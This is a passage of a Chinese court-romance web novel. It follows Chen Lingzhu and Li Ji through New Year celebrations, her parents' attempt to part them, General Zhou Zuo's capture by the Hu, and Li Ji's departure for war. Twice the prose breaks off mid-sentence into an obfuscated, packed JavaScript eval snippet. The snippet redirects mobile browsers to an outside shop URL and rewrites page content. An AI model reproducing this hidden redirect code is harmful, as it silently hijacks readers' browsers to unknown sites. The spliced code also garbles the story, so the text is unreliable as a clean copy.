陈夫人听说她从宫里回来了,却见房门紧闭,守在门外的丫鬟说大姑娘说了,不想见人。 杜氏上前,拍了拍门。 “瑛儿,开门,是娘。” 陈灵瑛捂着耳朵,将自己埋入被子里。 娘?自小亲厚的表妹得了势就这样对她,那这个一向说把她视如亲女的继母,对她又是真心的吗? 她不知道,她已经分不出来了。她是不是也像杨绾柔那样,面上说着喜欢她,实际上心里恨毒了她?毕竟,她对自己的亲生女儿陈灵珠,也不过如此啊! 还有她的父亲,对她的好难道就没有掺杂其他的吗? 爹确实对她很好,别人都说,爹对死去的亲娘一往情深,所以对亲娘留下的唯一骨血格外看重。 可若爹真的这么爱亲娘,怎会在亲娘死了不过一年就娶了继母进门,之后与继母夫唱妇随,除了年节和忌日,就没有怎么拜祭过她的亲娘? 他对她好,除了爱意本身,焉知不是一种道德和名声的需求? 这种需求让他选择了牺牲陈灵珠,成全了他的美名。 还有自己,该是多么眼盲心瞎,才会将居心不良的杨绾柔当作知心姐妹? 陈灵瑛无声地笑了起来,眼泪却汹涌而出。 78. 第 78 章 转眼到了腊月二十九,在一片炮竹声中,镇国公李跃回到了镇国公府。 镇国公早年腿受过重伤,后来虽愈合,但因为调养不够及时,后来时不时发作,疼痛难忍。因此,自儿子李济能独挡一面后,他便从前线退了下来。去年中,皇帝央他做了岭南巡防使,去监察岭南军政。本来预期只需要在岭南停留数月,在李济的昏礼前便可赶回,却因俚人动乱,回京之事一拖再拖,又因路途遥远艰难,一来一回,耗时良久,所以直到今日才回到了京城。 衙门已经封印,李济今日留在了镇国公府。听闻父亲回来了,他站了起来,笑着对陈灵珠道:“丑妇终须见家翁,走罢,见见父亲去。” 陈灵珠跟着站起身,嘀咕道:“我才不是丑妇。” 说罢,雄赳赳地往前去了。 李济笑了笑,追上去,与她相偕而行。 到了时,太夫人的院子果然挤满了人,国公夫人、二夫人、三夫人和李澄、李照芙、李庸等已到了。 李济唤了一声“爹”,本来围着镇国公的众人让出一条道来,镇国公便出现在二人眼前。 李跃面上的胡须几乎要盖住了五官,但从露出的眉眼看来,李济与他很是相似。因才从宫里出来,他的身上还穿着武将官服,隐隐有一股不怒自威的气势。但他看向她时,颇为温和,眉眼都带着笑意。 陈灵珠上前规规矩矩地福了一礼:“儿媳给父亲请安。” 他捋了一把乱糟糟的胡须,和颜悦色道:“你便是我儿刚过门的新妇?” 陈灵珠敛袖再次行礼道:“正是儿媳。” 李跃道:“你们成婚,我本是要赶回京城的,但俚人蠢蠢欲动,所以我只能留在岭南。此事虽是不得已,说起来到底是我这个做家翁的失礼,你莫见怪。” 陈灵珠明白的,俚人叛乱,成婚的日子又提前了,镇国公根本赶不及。 她道:“父亲言重,比起边关的安宁,其他都是小事。” 李跃则点头,似乎对她的识大体颇为满意,浓浓的胡须下勉强还能看到嘴角上扬:“来了镇国公府可习惯?” 看得出来,镇国公已经在尽力对她和蔼了。 陈灵珠心里微松,答道:“一切都很好,谢父亲关心。” 这边厢几人说着话,早有机灵的下人端来茶水和垫子,陈灵珠给李跃奉上茶杯:“父亲请喝茶。” 李跃接过,喝了一口,笑道:“我刚回京,一时也来不及准备什么礼物,用银票充充数罢。”说着让小厮递给陈灵珠的丫鬟一张银票。 银票自然是有些敷衍的,无论金额几何,但镇国公一路风尘仆仆,顾不上这件事似乎也情有可原。 陈灵珠谢过李跃后送上一双乌皮靴,这是她早就为镇国公准备好的。 镇国公久未与亲人见面,自然有很多话说,他平时威严,在老母亲面前倒是很愿意彩衣娱亲,尽力逗太夫人笑。 一家人其乐融融,用了团圆饭,又说笑许久才各自散去。 次日便是除夕,李济身为金吾卫大将军,虽无兵权,但这种大祭祀需护卫皇帝安全、维持秩序,直到傍晚方回。 陈灵珠等他回来,一起到芷兰厅吃守岁宴。 吃罢饭,大人们饮酒赋诗、玩关扑等,孩子们则在院子里玩焰火。 陈灵珠处于二者之间,所以一会儿跟大人们饮酒赋诗,一会儿又出去陪李庸等玩焰火。与李庸一起玩了一把点燃后会满地乱窜的“地老鼠”,将李照芙等人吓得又跳又笑后,她笑着回到了席上。 李济递给她一杯暖过的果子酒,笑道:“喝一杯暖暖。” 她有些犹豫,上次喝醉后发生的事情,可是还历历在目呢。 李济笑道:“不怕,这酒淡,不会喝醉。” 她这才接过,浅浅抿了一口。 果然很淡,但是有一股淡淡的清香。 太夫人以手招她道:“珠儿,快过来。” 她来到太夫人座前,太夫人将一个压岁红包给她,道:“这个是给你的。” 陈灵珠笑着道:“我也有?” 太夫人笑道:“你虽然是嫁进来的媳妇,但在祖母心里,你跟芙儿、槿儿她们是一样的,她们有的,你当然也有。” 太夫人待她真的没的说,陈灵珠笑嘻嘻地接过,谢了太夫人。太夫人开了头,镇国公、国公夫人、三夫人也都给了,二夫人也别别扭扭地给了她一个。 陛下将兵符给了周作,二夫人再后知后觉,也明白过来了。 从前因为心里不忿,她总认为李济能得到陛下的器重,成为威震四方的大将军,是因为祖荫,是皇帝看在庄德皇后、太夫人、镇国公等人的面子上,而今才明白,皇帝不是因为镇国公府而看重李跃、李济,而是因为李跃和李济,皇帝才不得不装出恩遇镇国公府的样子来。 这些日子,她很是惴惴不安,生怕哪一日镇国公府就叫皇帝一锅端了。心里恐惧,但她又做不了什么,只能暗暗希望大房早有应对之法,所以这些时日,她在大房面前再不敢像从前那样肆无忌惮了。 但对陈灵珠,她又添了一重顾忌,总觉得她的身份有问题,很可能是皇帝派来的细作,总有一日要跟镇国公府反目成仇的。她怕大房没想到这一层,连忙去找国公夫人,国公夫人叫她不必管,说陈灵珠不是那样的人。 但她哪里放心得下,所以她对着陈灵珠,既不敢像从前那样没事找事,也做不到将她当成自己人,只好远远避开。今日也是避无可避,众人都给了,她不给倒不好。 陈灵珠收红包收上了瘾,转了一圈,抱了满怀的红包。她乐得眉开眼笑,转到李济面前,看着他。 众人看她这副向李济讨红包的模样,都忍不住笑了起来。 太夫人笑指着她道:“你这皮猴子,哪有向自己丈夫要压岁钱的?” 陈灵珠本来只是开开玩笑,不是真的要问李济要压岁钱,但这些时日镇国公府都笼罩着一层阴云,难得见太夫人等笑得这样开心,她也很愿意彩衣娱亲,便微微歪着头,笑看着李济。 李济似无奈地笑,从衣袖中取出一封压岁红包,轻拍到她手里道:“早就准备好了,怎敢忘了我们少夫人的。” 他给陈灵珠的这个红包从封面到厚度都与旁人的不同,显然是早就准备好要给陈灵珠的,在院子里玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947724|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹了一阵进来的李照芙见状叫道:“二哥哥偏心,给二嫂嫂的红包怎么跟我们的不同?” 陈灵珠本意只想逗乐太夫人,见李照芙起哄,不免有些不好意思,耳朵也微微发烫。 太夫人半是替他们解围,半是火上浇油道:“你哥哥偏心嫂子也是应该的,你要这种偏心,只好找你未来的夫婿去喽。” 一番话,将李照芙说得也害羞得歪到国公夫人怀里撒娇,众人都哈哈大笑。 次日太夫人、镇国公夫妇、李济、陈灵珠还要进宫朝贺,守岁宴到子时便散了。 不知是不惯熬夜还是喝了酒,陈灵珠站起身,便有些头晕脑胀。 李济倒是还神采奕奕,见她如此,帮她整理好斗篷,又替她戴上兜帽,才拉着她出了门。 她脚步虚浮地跟着李济往前,李济顿了顿,在她身前蹲下道:“上来,我背你。” 她转头看了看四周,见谁也没留意他们,便也不客气地伏在李济的背上。 他的背又宽又暖,她满足地闭上眼,“夫君的背真舒服。” 李济背着她站起身,笑道:“这是自然,你夫君是谁。” 陈灵珠实在困得厉害,也不反驳他,笑着便沉沉睡了过去,连李济何时到了梅林上筑将她放到床上也不知道。 寅时末,众人起身,按品级着衣。 到了皇宫,镇国公、李济去前朝大庆殿向皇帝道贺,太夫人、国公夫人、陈灵珠则去内廷向皇后道贺。 礼毕,百官、众命妇离宫。 昨晚熬了夜,今晨又早起,陈灵珠回到梅林上筑后本想小憩一会,但奶娘拉着她不让她睡,说大年初一没有人睡懒觉的,于是作罢。 恰这时,李照芙、李照槿等几个小姑子来找她,说相国寺举办岁忏法会,寺庙前面还有庙会,问她可要一同去趁个热闹。 自南光寺后马儿发狂之后,陈灵珠出门便格外小心。李济知她天性,也不想将她整日拘在府里,便给她安排了几个武功高强的护卫,让她不必因噎废食。 反正也是闲着,做好了准备,陈灵珠便与几个小姑子往相国寺而来。 相国寺前的庙会由来已久,从山门到后廊,摊位延绵而上。所售物品更是品种多样,吃食衣裳、日用器具、书籍字画、刺绣首饰、土产香药,占卜算卦,甚至奇珍异兽,几乎无所不有。 因今日是正月初一,此处人山人海,尤其热闹。 姑嫂几人兴致勃勃,先是在杂耍、说书的摊位停留,洒下铜钱打赏了,而后去买了些名人碑帖,首饰挂件,再在几个素食摊子上试了试,才心满意足地来到天王殿前。 这个时辰,头炷香是没份了,但几人依然拈了香,虔诚地拜了拜。 烧了香,李照槿想去听经,李照芙则说要去放生池看看。 陈灵珠对讲经也没有太大兴趣,便安排了几个丫鬟婆子跟着李照槿,自己与李照芙沿着檐廊,往放生池的方向来。 放生池相对僻静,到了这个时辰,也没什么人了。陈灵珠正饶有兴致地看着荷叶下的鲤鱼在叶柄下游来游去,忽然听到有人唤她:“珠儿。” 是她的母亲杜氏。 79. 第 79 章 陈灵珠笑容敛起。 杜氏道:“珠儿,娘想跟你说几句话。” 陈灵珠道:“我与夫人已无话可说。” 她的父亲知情的,母亲不会一无所知。她只是做了选择而已。 杜氏求她道:“就几句话,不会耽误你太多时间。” 陈灵珠不动。 杜氏面露难过,道:“珠儿,你如今,连娘也不愿认了吗?” 陈灵珠淡淡道:“夫人既知道我是你的女儿,为何要让我去送死?” 杜氏听了这句话,双眼含泪道:“珠儿,娘也是不得已,当初——” “够了!”陈灵珠冷冷地打断了她:“不必再说你那些不得已,我听得够多了!你扪心自问,当真如此不得已吗!” 很多事情,并不是非得二选其一,她明明可以兼顾的。可是她没有,每一次,她都选择牺牲她。 陈夫人眼泪滚滚而下,“很多事情,娘也是近日才知道,娘知道你恨我,珠儿,娘今日来找你,就是想补偿你的。” 陈灵珠不由有些讶异,自从她与李济成了亲,她的母亲对她避之不及,唯恐沾染上她,何以今日一反常态,做这以前根本不可能做的事? 事出反常必有妖。 料想杜氏再狠心也不至于杀了她,她想了想,跟李照芙说了声,然后朝护卫做了个手势,示意他们不必跟上。 李照芙有些担心,叫住她:“嫂嫂?” 陈灵珠道:“无事,我去去就回。” 二人来到一间僻静的禅房,在靠近墙壁的一张茶案相对而坐。 “夫人有何话,说罢。” “珠儿,爹娘知道你过去受了委屈。不如你回到陈家来,让爹娘补偿你,好不好?娘发誓,爹娘以后一定好好待你,绝不会让你再受委屈。” “回陈家?” 陈夫人道:“对,回陈家。你和李济和离,或者想法子让他休了你。珠儿,只有这样,日后你才能留得性命。” 陈灵珠想了想,冷笑了起来,“我知道你们在想什么了。你们卖了我一次不够,居然还想卖我第二次!” 皇帝疑心极重,只要她一日还在镇国公府,她的父亲在皇帝那儿,就基本不可能得到重用。他的父亲想通了这一点,所以想切断她与李济的关系,以此重获皇帝的信任。 杜氏不是担忧她这个女儿的性命,而是担忧丈夫的仕途。 杜氏道:“珠儿,娘再狠心,也不愿意看到你丢了性命。你以为那李济是真心对你的?他不过是怕你做了陛下的眼线,帮着我们,帮着陛下,所以千方百计哄着你罢了!你以为他给你安排护卫,是保护你?那是在监视你啊傻孩子!” 陈灵珠不想听,正要拂袖而去,杜氏拉住她道:“娘知道你不会相信,娘让你亲耳听一听李济是怎么说的!” 杜氏拉着她穿过中间的一扇门,躲在一扇屏风后,“李济亲口说的话,你总该相信了罢?你且听听李济说什么!” 她示意陈灵珠噤声,不久,门口传来脚步声,是李济走了进来。 “岳父大人让小婿前来,所为何事?岳父何不等到明日,让小婿明日带着珠儿归宁?” 李济施施然地坐下,面带微笑地看着对面的陈进。 陈进就是因为不想让李济去陈家,不想让陛下误会更深才暗地里将李济约到这里来,此时听李济“岳父”长、“岳父”短,额头突突直跳,本能地想反驳这称呼,忍了忍才忍下去,咬牙道:“李济,我问你,如今周作做了北部统帅,你打算怎么办?” 李济冷笑:“岳父大人与人合谋千方百计地将小婿拉下来,甚至坐视别人暗杀小婿,如今却问小婿,打算怎么办。” 他讽刺地看着陈进:“不如岳父大人教教小婿,该怎么办。” 陈进被戳中肺管子,恼羞成怒指着他道:“李济!你以为我不知道!你狼子野心,将所有人玩弄于股掌之间!老夫让你算计得与陛下离了心,就连我那傻女儿灵珠,也叫你哄骗了去,为你所用!” 李济冷笑道:“难道只许你们谋害我,却不许我回敬一二?只许州官放火不许百姓点灯,岳父大人未免也太霸道了些。” 陈进道:“这么说,你承认你算计珠儿?李济,你倒是本事,我那女儿自小也算有几分聪明,却在你这儿栽了跟头,被你哄得云里雾里。” 李济听了这话冷笑个不停,“岳父大人说这话岂不亏心?说到利用珠儿,小婿与岳父大人相比,实在是望尘莫及。” 他之所以肯来赴陈进的约,是因为其一,他不怕被人看到与陈进来往,其二,他想看看陈进到底想做什么。然而说了这许久,陈进的话题却一直在他利用陈灵珠上面打转。 他的警惕心顿起。 以陈进目前的境况,恐怕是恨不得陈灵珠与他分离,好重新获得皇帝的宠信。 刚才他过来时看到镇国公府的护卫,知道陈灵珠也在相国寺,难道她就在这屋子里? 他望了望屏风,疾步走到了屏风后。 陈进阻拦不及,只好跟上去道:“李济,你算计我便罢,但珠儿是无辜的,你又何必利用她!” 又对陈灵珠道:“珠儿,现在你信了罢,他就是在利用你。” 陈灵珠漠然地看了看她的这一对还要再说话的父母,又看了看李济,抬脚走出了禅房。 李济想追上去拉住她解释,刚出了禅房,吴骏满脸焦急,禀道:“世子,胡人将周作掳走了,北边有变!” 李济朝陈灵珠离去的方向深深看了一眼,咬了咬牙,朝山门大步而去。 自周作上了任,皇帝频频收到他传来的捷报,说他如何精心部署,如何英勇奋战,这次歼敌数千,那次灭敌一万。 皇帝让周作做统帅本承受着极大的压力,见周作如此争气,不由龙颜大悦,数次在朝会上赞扬周作,对武安侯更加宠信,连前些时日因杨绾柔有孕找茬而受到冷落的淑妃,也重获宠爱。 但今日,皇帝正与宫妃饮酒作乐,忽然收到八百里加急,说北部发生变故,大将军周作被胡人生擒,胡人集结了二十万兵马挥师南下,如今已打到了澶州! 皇帝惊出一身冷汗,将美人一把推开,连忙召大臣商议。 原来周作带着皇帝“不听指挥者,杀无赦”的圣旨到飞雄军后,狠狠地耍了一通大将军威风,他将飞雄军原有的将领换的换、贬的贬,重要岗位全都换成了自己的人。闹得人仰马翻,他还嫌不够满足,总觉得众将士对他面服心不服。他的一个幕僚安慰他道:“大将军初来乍到,难免有人不长眼睛,待大将军多杀几个胡人,那些人自然心服口服。” 周作听了,觉得很是。他来此之前,他的父亲千叮万嘱,让他尽快立下功劳,好安陛下的心,打反对的官员的嘴。但自五年前李济率领的飞雄军大败胡人之后,胡人这些时日轻易不敢犯边,他沿着防线转了一圈也没能找到几个胡人。 周作心里便有些不痛快,若胡人一直不出现,他如何立功?如何证明他比李济更有能力?不甘心就此罢休,他将周边放牧的平民杀了几个,伪装成犯边的胡人,又将数量夸大,传到京城成了“捷报”。 但尽管朝廷频频夸奖他,部分飞雄军的将士们却知他这些杀敌的功劳来得古怪,表面虽然毕恭毕敬,内心却无法对他信服。周作见自己辛苦一场,那些人还是不拿他当回事,气得破口大骂。 这一日,他正与几个妓子在营帐里胡天胡地饮酒作乐,属下来报,说一队胡人骑兵出现在十五里地之外,约有一千余人。 周作杀了许多胡人的消息被宣传得人尽皆知,一个偎在周作身上的妓子娇笑道:“我们大将军近日杀了这么多胡人,怎么这些胡人还敢来送死?” 这个妓子这些时日颇得周作的喜爱,听她这么说,他顿时豪情万丈,哈哈大笑道:“来得好!本大将军让他们知道什么叫有来无回!来人哪,拿披挂来!本大将军要带兵出城!” 众属下听说他要出城迎敌,吓了一跳,忙来劝阻,“情况未明,大将军何必以身犯险!” 周作心里也有些犯怵,毕竟他那些功劳是怎么回事他自己心里清楚,然而到了这个地步,刚才那几个妓子还在营帐门口满脸崇拜地望着他,他如何拉得下脸来说不去? 况且对方只有区区一千人,他多带些人去,以少胜多,踩也能踩死他们。更何况,他若不去,飞雄军那些原有的将领岂不是更看轻了他? 当下将死死拉住他的那个属下一脚踢开,骂道:“本大将军英明神武,战无不胜攻无不克,你别长他人志气灭自己威风,妨碍本大将军立功!” 说着便带着五千兵马出城追上了那一千余胡人的骑兵团,亲手将自己送到了胡人手中。 周作被俘,那些留在军营的“自己人”得知后,不由又是跳脚,又是互相指责。几人密谋了一阵,决定暂时先不上报朝廷,而是私下与胡人接触,看看能不能把周作赎回来。原飞雄军将领劝他们赶紧整顿兵力,以防胡人袭击,却被他们找借口关了起来,唯恐消息外泄。 胡人原本只打算狠狠讹晋人一笔,用周作这只“从天而降的肥羊”换些布匹粮食渡过这个寒冬,但接下来与他们接触的大晋将领让他们改变了主意。 来人自称晋人的忠武将军、宣武将军,说只要放了他们大将军,他们愿意奉上钱银若干。胡人看来人一副酒色之相,身上全无行伍之人的气势,不由轻视。 有人便道:“原来晋人都是这样的废物!首领,我们何不集结人马,趁机杀他个片甲不留?” 胡人首领骨都听了,觉得甚有道理,过去李济坐镇,他们不能轻举妄动,但如今情况完全不同了。听他们俘虏的这个“大将军”说,飞雄军如今都已是他的人,那些曾令他们闻风丧胆的将领早就被调离或者革职了。 如晋人所言,“天赐不予,反得其咎”,此时不杀过去,更待何时? 于是骨都一边与晋人谈判,索要金一百万两,绢八十万匹,茶十万斤,一边迅速集结了二十万兵马,趁着晋人不备,杀了过来。 为了羞辱大晋,他们还让周作打头,让他拍门叫阵。 那周作贪生怕死,哪敢不从?如今飞雄军的主要将领都是无能之辈,又如何抵挡得住? 就这样,胡人一路长驱直入,数日之内便攻破了瓦桥关、益津关、淤口关,失了雄州、霸州等地,如今已兵临澶州城下,三面包围澶州,澶州岌岌可危。 澶州乃是京城的最后一道防线,胡人要是攻破澶州的城门,下一步,就会渡过黄河,直奔京城而来。 …… 武安侯本以为飞雄军兵强马壮,儿子去到军中,换掉那些不听话的下属就能坐享其成,哪想到封狼居胥的美梦还没做多久,儿子就捅出这样大的篓子来! 他还不肯信,口中喊冤道:“陛下,犬子冤枉!必是飞雄军那一群人看不惯我儿,必是他们将我儿骗出了城门,让他去送死!陛下,微臣怀疑,他们这么做,是受镇国公父子指使!” 他指着李济,手抖个不停,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951787|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇国公父子居心险恶,视飞雄军为私有之物,所以千方百计置我儿于死地!陛下,他们害小儿,是为了飞雄军兵符,是想让微臣见恶于陛下啊!陛下!微臣对陛下、对朝廷忠心耿耿,如今小儿却落得这样一个下场!请陛下为他作主、为他申冤哪!” 一番话将周作变成了苦主,将矛头指向了镇国公父子,可是就算周作是被骗,但他作为一军主帅,轻而易举被骗,又被敌方不费吹灰之力擒获,如此无能,难道光荣?他拍门叫阵,虽是被胡人所迫,但如此奴颜婢膝,公然叛国,又何来的资格喊冤? 都知道武安侯巧舌如簧,但没想到他能是非颠倒到这个程度,众官员望着他,一时竟被他的厚颜无耻惊呆了。 李济气极反笑,他知道周作是个饭桶,但着实没想到他会蠢到这个地步。本来只要他不乱来,胡人就不敢轻举妄动,可他将飞雄军搅得天翻地覆还不算,还要一蠢再蠢,造成了如今这个局面! 还有武安侯这无耻之徒,教出了周作这么一个丢人现眼的儿子就算了,还非要把他塞到重要的位置,如今他不思反省,竟还想把这个罪名扣到他和父亲的头上! 忠勇侯张勇不待李济开口便冷笑道:“周大人,若令郎被活捉也能攀诬到镇国公父子身上,那我昨日踢到了门槛,岂不是与周大人有关?当初我们都反对,是周大人一力承担,说令郎堪为北部主帅,怎么,如今出了事,又成了镇国公父子的错了?” 官员们此时也从震惊中反应过来,刑部侍郎顾谓道:“周大人倒耙一把的本事,当真是比猪八戒还厉害;脸皮之厚,更是让人叹为观止。” 皇帝此刻无暇顾及武安侯的脸皮,他只觉得自己的脸似被当初反对周作接掌兵符的大臣重重地扇了好几个耳光,火辣辣地疼。 武安侯跪下痛哭流涕道:“陛下,犬子必是为人所害,请陛下允许老臣赶赴北部,查清事实,挽回大晋颜面!” 他不说挽回颜面还好,说到颜面,皇帝忍无可忍,将身后内侍手中还拿着的“捷报”扔到他的脸上,怒道:“你还知道颜面!朕和朝廷的颜面都叫你们父子丢光了!” 一边又叫侍卫:“来人!把周简拿下去!朕要诛他三族!” 武安侯大骇,上前抱住皇帝的腿,“陛下!陛下!老臣对陛下忠心耿耿,求陛下开恩哪!陛下,周作罪该万死,但老臣是无辜的!陛下——” 皇帝心烦意乱,如今自己的命都快保不住了,哪里耐烦听他废话,“拉下去!” 侍卫将武安侯捂住嘴拉了下去。 尚书左仆射赵文道:“陛下,当务之急是派遣一员大将前去驱除胡人。” 皇帝当然知道这点,他还知道谁最有可能力挽狂澜,可是他不想让李济去! 李济请命道:“陛下,微臣自请出征,驱除胡人!” 皇帝死死盯着李济,良久勉强道:“赵卿说得有道理,朝廷确实需要派一员大将出征。李卿,朕知道你卫国之心切,但我朝人才济济,你不必忧心,安心在京城养伤就是。” 他绝不会再把兵符交到李济手上!绝不会!他环顾金銮殿,指着冯婕妤的兄长冯岳道:“冯卿,你来!” 冯岳是侍卫亲军步军都指挥使,是他信得过的人。 李济的双眼几乎要冒火。他真想公然做个乱臣贼子,先把这又无用又刚愎自大的昏君杀了!这昏君防他便罢,防着所有与镇国公府有关系的武将也罢,可他不该如此有眼无珠,一再任用那些只会阿谀奉承的酒囊饭袋!可恨他部署不够及时,否则,及早将这昏君杀了,也免了今日的灾祸。 “陛下!”尚书左仆射赵文扑通一声跪下,“陛下,请陛下三思!胡人已经兵临澶州城下,万一城破,渡过黄河,则京城危矣!” 赵文跪下,大殿上顿时跪倒了一片,其余站着的人犹豫了一番,环顾四周,最终还是都跪下了。 “陛下,不能再拖了。请陛下准李大人带伤上阵,抵御胡人!” 李济何曾有什么伤,这么说,不过是大臣们顾全皇帝的最后一点颜面罢了。 “陛下,万一兵临城下则悔之晚矣,请陛下速下圣旨,让李大人领兵出征!” “陛下,澶州距京城不过两三百里,急行军两日便达!” “陛下,京城不能失了最后一道防线啊!” “陛下……” 皇帝双手紧紧地握成拳。他的胸膛如有一团火在烧,他们都在逼他!他们都知道李济对他的威胁,却还在催他将兵权给李济!他们心里,可有他这个天子? 他睁开眼,想大骂面前这些看似在恳求,实际却在逼迫着他的大臣们混账,骂他们是李济的党羽,与李济狼狈为奸:骂他们包藏祸心,不知谁为其主;骂他们贪生怕死,只顾自己的性命。 他想说:“朕心意已决,尔等莫再多言!” 他还想发狠:“谁再敢多言,当庭杖杀。” 可是他张了张口,却什么也骂不出来。 胡人和李济,谁更可怕?谁更有可能把他从御座上掀下来? 群臣催促道:“陛下?” 他闭了闭眼。 事到如今,他哪里还有别的选择? 胡人已在澶州,让胡人打进京城来,他立刻死无葬身之地;而让李济领了兵,就算李济日后造反,也还有缓冲的余地。 何况,他再不答应,底下这些大臣,特别是李济,难道会放过他吗? “好。”最终,他咬牙道:“封李济为平北大将军,领兵出征,收复失地。” 80. 第 80 章 从禅房出来后,陈灵珠便与李照芙几个回了府。 李济不但没追出来,且之后一直未回,难道出了什么大事? 心里有些不安,她想等他问个清楚,坐到半夜,实在撑不住,才倒在床上睡了。 但到底睡不安稳,一时睡一时醒的,第一缕阳光照在窗上的时候,她又睁开了眼睛。 帐幔外站了一人。 “珠儿,是我。” 那人拉开帐幔,出现在她面前。 是李济。 他坐了下来,“珠儿,一个时辰后,我就要出发前往澶州了。” 见她有些迷茫,他为她解惑道:“周作被掳走,胡人集结了二十万兵马挥师南下,如今已经三面包围澶州。” 陈灵珠大吃一惊,李济迟迟未归她就知道事情不好,但万万没想到会严重到这般地步。 她的一缕发丝垂下来挡住她的眼睛,他帮她拨开,低声问:“在生为夫的气?” 她摇了摇头,但她刚刚睡醒,脑子还有些混沌,喉咙也像被东西梗住了,什么话也说不出来。 李济苦笑了一声,叹道:“珠儿,你记得,无论旁人说什么,都不要与我离心。” 他伸出手抱住她,过了一会儿才松开,在她的额心吻了一下:“等我回来!” 说完,他站起身,深深看了她一眼,然后转身,大步流星地出去了。 李济从梅林上筑出来,径直去了太夫人的院子。镇国公夫妇早就到太夫人的院子等他了。 “祖母,爹,娘。”他道:“孩儿不在身边,祖母和爹娘要保重,凡事千万小心。” 儿行千里母担忧,何况李济要上战场冲锋陷阵。太夫人和镇国公夫妇都以李济为傲,知道他英勇无敌、运筹帷幄,且经验丰富,但身为他的祖母和父母,怎么可能不担心。 但他们没有让眼泪流出来,甚至没让自己流露出过多担忧,太夫人握紧李济的手,叮嘱道:“济儿,祖母只希望你记得一句话:你保重了自己,就等于保全了我们。” 李济知道,他郑重点头:“祖母放心,孙儿晓得,定会爱惜自己。” 国公夫人道:“济儿,你不必担心我们,爹和娘会照顾好府里。” 他的母亲不是普通的后宅妇人,若有个万一,她也信靠得住。母子二人认真看着对方的眼睛,半晌,双方都点了点头,李济道:“一切就托付给爹娘了。” 顿了顿,他对镇国公道:“爹,在孩儿心里,陈灵珠是孩儿之妻,从前是,如今是,以后更是。孩儿不在京城,请爹娘替孩儿好生看顾着她。就连她的父母,也要小心!” 镇国公有些意外,“她的父母?陈进?” 李济点头,将昨日陈进故意离间他们二人感情的事说出,“我怕他离间不成,再下狠手。” 他并不惮以最大的恶意揣测陈进。对于一个狠心的父亲来说,既然女儿不愿与他这个敌人分开,那把她暗中囚禁起来甚至杀死,都不是不可能的事。 他不能不防。 镇国公夫妇答应下来,李济跪下磕了三个头,起身出门去了。 镇国公望着他的背影,神色复杂道:“这小子。” 他的这个长子样样出色,从少年起,就有数不清的女子千方百计地往他身边凑,指望得到他的垂青。但他对那些女子从来都是不假辞色,从未见过他对任何一个女子有任何特别之处。有一段时间,他甚至怀疑他有分桃断袖之癖。 没想到他会对府里的这个姑娘如此上心。 难道这就是英雄难过美人关么,他摇了摇头,太夫人见他如此,笑道:“你可是不放心灵珠?” 镇国公确实有些不放心,毕竟知人知面不知心,陈灵珠这样的身份,拉拢她是应该的,但他以为,保持适当的提防之心才是正常。 国公夫人道:“老爷有所不知,我们信灵珠,并非全无根据。” 说着将陈灵珠做过的事一一道来,镇国公听了,半晌道:“原来如此。” …… 陈灵珠坐在次间临窗的一张坐床上,望着外面发呆。 奶娘和两个丫鬟见她如此,交换了几个眼神,茯苓低声道:“我去看看有人病了没有。”说罢走了出去。 许是没有找到病人,好一会儿还不见茯苓回来,姜嬷嬷只好自己上阵道:“少夫人,我这两日额头隐隐作痛,你帮老奴看看可要抓两副药吃?” 陈灵珠果然缓缓回神,让奶娘坐下替她把脉。 姜嬷嬷的身体大毛病没有,小毛病不少,吃药是不必的,但不能太过劳神。见她给姜嬷嬷看了,紫苏也道:“少夫人,也给婢子看看。” 陈灵珠反应过来,将手搭在紫苏的手腕上,微笑道:“你们是要给我找点事做?” 奶奶和紫苏呵呵地笑,陈灵珠道:“你们放心就是,我没事。” 她只是在想自己如今该做些什么。 之前帝后不让她行医,是以她要照顾李济为借口的,如今李济出征去了,这个借口自然就不成立了。但既然那是借口,她若露面行医,就算帝后不好再明着阻拦,暗地里也未必不会有动作。她不想给自己和仁心医馆带来麻烦。 但不能露面行医,却并不代表她不可以悄悄在后头做事,譬如说,采药、配药,甚至种药。如今大晋与胡人开战,军中必然需要大量伤药,金创药虽好,价格却不便宜。若她能调配出比金创药效果更好、更平价的伤药送到军中,一来帮了李济,二来,她相当于去做了军医,尽了一分大夫的责任。 这么想着,她带着紫苏和茯苓两个丫鬟来到了仁心医馆,跟楚大夫和俞大夫说了自己的想法。 楚大夫和俞大夫一直为陈灵珠不能继续留在医馆做大夫而可惜,这个徒儿天分极佳,又勤勉好学,却不得不因为世俗的偏见和皇权的压力放弃行医之路。 如今她另辟蹊径,做师父师叔的又岂会有二话? 从此陈灵珠便日日去仁心医馆,大多时候在配药,有时也会看一看楚大夫或俞大夫专门给她领过去的身患疑难杂症的病人。 初时,她配出的伤药不算很好,或者药效普通,或者耗费过高。好在她不是个轻易放弃的人,在她孜孜不倦的尝试和楚、俞两位大夫的指点之下,一月之后,她调配出了一种还算满意的伤药,取名为“青霜露”。她在医馆的病人身上试验了几日,见药效显著,这才调配出更多的青霜露,交给了镇国公夫人。 “母亲若信我,请将此物送到军中。” 国公夫人是信她的,但此事,还是要告诉镇国公。 镇国公虽然谨慎,但既然儿子、妻子、母亲都信陈灵珠,他也没将她的东西扔了,找了大夫验过了没问题,便将青霜露通过镇国公府的专门渠道给飞雄军送了过去。 …… 李济这边,则在赴前线后很快稳住了澶州,数日后后夺回了祁、翼、贝等州, 